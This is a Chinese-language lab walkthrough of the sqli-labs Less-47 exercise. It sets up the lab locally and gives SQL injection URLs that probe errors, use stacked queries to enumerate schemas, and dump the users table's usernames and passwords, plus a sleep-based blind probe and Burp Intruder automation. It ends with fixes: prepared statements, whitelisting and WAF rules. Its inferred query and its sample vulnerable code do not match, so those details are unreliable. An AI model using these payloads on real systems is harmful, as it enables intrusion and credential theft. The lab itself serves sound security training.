1. sqli-labs-Less-47靶场环境概述
sqli-labs是一个专为学习SQL注入技术设计的开源靶场项目,而Less-47是该系列中一个典型的基于错误回显的堆叠查询注入案例。这个实验环境模拟了开发者未对用户输入进行有效过滤的场景,攻击者可以通过构造特殊字符突破前端限制,直接操作后端数据库。
与基础注入关卡不同,Less-47的特殊性在于:
- 使用
\作为转义字符触发报错 - 支持通过堆叠查询执行多条SQL语句
- 需要处理
$_SESSION变量的干扰 - 涉及对
users表的盲注技术突破
我搭建测试环境时发现,官方提供的Docker镜像存在部分PHP版本兼容问题。推荐使用以下配置:
bash复制docker run -d -p 8080:80 --name sqli-labs acgpiano/sqli-labs
启动后访问http://localhost:8080完成初始化,特别注意Less-47需要手动点选"Setup/reset Database"链接创建数据表。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 注入点探测与报错分析
2.1 基础参数测试
正常请求格式为:
code复制http://localhost:8080/Less-47/?sort=1
通过添加单引号触发报错:
code复制http://localhost:8080/Less-47/?sort=1'
此时返回的报错信息中关键部分是:
sql复制You have an error in your SQL syntax... near ''1'' LIMIT 0,1'
这个报错揭示了两个重要信息:
- 输入参数被单引号包裹
- 查询语句末尾有LIMIT子句
2.2 转义字符突破
尝试使用反斜杠转义:
code复制http://localhost:8080/Less-47/?sort=1\
返回的报错信息变为:
sql复制You have an error in your SQL syntax... near '\' LIMIT 0,1'
这说明后端查询语句的格式大致为:
sql复制SELECT ... FROM ... WHERE ... = '$input' LIMIT 0,1
3. 堆叠查询注入实战
3.1 确定注入payload结构
基于报错信息构造有效payload:
code复制http://localhost:8080/Less-47/?sort=1';[额外SQL语句]-- -
其中:
- 分号
;用于结束前一条查询 -- -用于注释掉原查询的剩余部分- 方括号内可插入任意SQL语句
3.2 数据库信息收集
获取数据库版本:
code复制http://localhost:8080/Less-47/?sort=1';select version()-- -
获取当前数据库名:
code复制http://localhost:8080/Less-47/?sort=1';select database()-- -
列出所有数据库:
code复制http://localhost:8080/Less-47/?sort=1';select group_concat(schema_name) from information_schema.schemata-- -
4. 高级利用技巧
4.1 数据表提取
获取security数据库的表名:
code复制http://localhost:8080/Less-47/?sort=1';select group_concat(table_name) from information_schema.tables where table_schema='security'-- -
提取users表的列名:
code复制http://localhost:8080/Less-47/?sort=1';select group_concat(column_name) from information_schema.columns where table_name='users'-- -
4.2 数据导出实战
完整导出users表数据:
code复制http://localhost:8080/Less-47/?sort=1';select group_concat(username,':',password) from users-- -
或者分列显示:
code复制http://localhost:8080/Less-47/?sort=1';select null,username,password from users-- -
5. 防御方案与修复建议
5.1 代码层防护
原始漏洞代码示例:
php复制$id = $_GET['sort'];
$sql = "SELECT * FROM users ORDER BY '$id'";
修复方案:
- 使用预处理语句:
php复制$stmt = $conn->prepare("SELECT * FROM users ORDER BY ?");
$stmt->bind_param("s", $id);
- 白名单过滤:
php复制$allowed = ['id','username','password'];
if(!in_array($id, $allowed)) die('Invalid sort field');
5.2 运维层防护
- 配置WAF规则拦截包含
;、--等特殊字符的请求 - 设置数据库用户最小权限原则
- 关闭PHP错误回显:
display_errors = Off
6. 靶场通关技巧总结
- 遇到无回显情况时,可以尝试:
code复制http://localhost:8080/Less-47/?sort=1' and sleep(5)-- -
通过响应时间判断注入是否成功
- 使用Burp Suite的Intruder模块自动化测试:
- 设置payload位置为sort参数值
- 加载sql-injection字典
- 根据响应长度/时间筛选有效payload
- 对于复杂注入,建议先本地测试:
sql复制-- 先在MySQL客户端测试语句有效性
SELECT * FROM users ORDER BY '1';select version()-- ';
这个关卡的核心在于理解堆叠查询与错误回显的结合利用。实际渗透测试中,遇到类似ORDER BY注入点时,要特别注意后端是否使用了字符串包裹,这直接影响payload的构造方式。
